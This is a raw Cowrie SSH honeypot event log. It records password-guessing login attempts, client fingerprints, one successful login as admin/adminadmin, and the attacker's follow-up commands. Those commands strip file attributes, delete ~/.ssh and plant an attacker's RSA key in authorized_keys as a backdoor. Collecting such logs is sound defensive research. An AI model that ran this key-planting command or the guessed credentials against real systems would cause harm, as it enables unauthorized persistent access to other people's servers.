{"eventid":"cowrie.login.failed","username":"otis","password":"otis1","message":"login attempt [otis/otis1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:21.889667Z","src_ip":"213.209.159.56","session":"f545d385a03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis123","message":"login attempt [otis/otis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:22.979244Z","src_ip":"213.209.159.56","session":"f545d385a03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis1234","message":"login attempt [otis/otis1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:24.064419Z","src_ip":"213.209.159.56","session":"f545d385a03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis12345","message":"login attempt [otis/otis12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:25.150603Z","src_ip":"213.209.159.56","session":"f545d385a03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:26.236178Z","src_ip":"213.209.159.56","session":"f545d385a03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35702,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29e7a164065","protocol":"ssh","message":"New connection: 62.133.62.83:35702 (159.203.135.109:22) [session: c29e7a164065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:43.634896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:43.639791Z","src_ip":"62.133.62.83","session":"c29e7a164065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:43.719217Z","src_ip":"62.133.62.83","session":"c29e7a164065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kirik26trimyasov","message":"login attempt [root/kirik26trimyasov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:43.961023Z","src_ip":"62.133.62.83","session":"c29e7a164065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:45.044760Z","src_ip":"62.133.62.83","session":"c29e7a164065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":20388,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d53cc82dea","protocol":"ssh","message":"New connection: 38.93.206.2:20388 (10.17.0.5:22) [session: 38d53cc82dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:50.831020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:50.840595Z","src_ip":"38.93.206.2","session":"38d53cc82dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:50.948924Z","src_ip":"38.93.206.2","session":"38d53cc82dea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ilovetania","message":"login attempt [root/ilovetania] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:51.170301Z","src_ip":"38.93.206.2","session":"38d53cc82dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:52.223397Z","src_ip":"38.93.206.2","session":"38d53cc82dea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":41272,"dst_ip":"10.17.0.5","dst_port":22,"session":"b53fe31089b9","protocol":"ssh","message":"New connection: 37.233.85.71:41272 (10.17.0.5:22) [session: b53fe31089b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:04.886668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:04.937779Z","src_ip":"37.233.85.71","session":"b53fe31089b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:05.048943Z","src_ip":"37.233.85.71","session":"b53fe31089b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121314q","message":"login attempt [root/121314q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:05.365331Z","src_ip":"37.233.85.71","session":"b53fe31089b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:06.464867Z","src_ip":"37.233.85.71","session":"b53fe31089b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":52994,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e5c76d442c","protocol":"ssh","message":"New connection: 103.107.60.45:52994 (10.17.0.5:22) [session: 36e5c76d442c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:12.677466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:12.682624Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:12.896539Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:13.781725Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:14.254653Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:14.258363Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:14.263001Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:14.690195Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:14.960306Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:14.964073Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.185916Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.190707Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":38060,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6c4ffb5dd2e","protocol":"ssh","message":"New connection: 78.111.67.246:38060 (10.17.0.5:22) [session: a6c4ffb5dd2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.306810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.311795Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":52998,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d58ad3fe073","protocol":"ssh","message":"New connection: 103.107.60.45:52998 (10.17.0.5:22) [session: 0d58ad3fe073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.398620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.405311Z","src_ip":"103.107.60.45","session":"0d58ad3fe073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.415417Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.629038Z","src_ip":"103.107.60.45","session":"0d58ad3fe073","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:1d:04:d5:fa:41:e4:9f:2a:b0:a1:32:8d:a0:11:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcr2i6MpMk+LCB6kQBA4rPzir8EBZ0AgOJN0BuLZi0WF8nZX+kIqvSNzMVq1vv2N/sLQCT4RLAKHW00y+MQ9/gXYoE+YGRV485UELk+aIjTWj/djqOS6Zs1OQ+8tg9hpG+ol3kZ3sXwiPzwUilqLLHlTcNC4WCOm/vFg6K3xW99erWb4LMx0VnFGHBYP2lXN3KB+nJsmzDCkWPZrZdUpaeC7oojuN+s61W3Y50XKMbOSrSElVdhs5mrlbdblIemqxQoZ6/RZEhKHTExZC9vfAgkw/GrPZ0OI0kbkTwEsPx9umYiVFySeTqFdEguvqmR/9RyYQ+DJqpK/Jg5C/2hMenz/KqcfoqtPVPWH2kSY8YmcuXcq9vrXctiHxJnfLma08IowASPxxw0WdTCRk94FuQYlGNmjIZQ8yoJuVDb5g/kDfTQDYcgt2LMBHRGrKtymT/tQ/2l2GofbEFL6jJ9HaNEGxePuDlZhJXx5lBeUNGf0Wd6DW3wLqXNpP0b7JqgQk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:1d:04:d5:fa:41:e4:9f:2a:b0:a1:32:8d:a0:11:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.872959Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
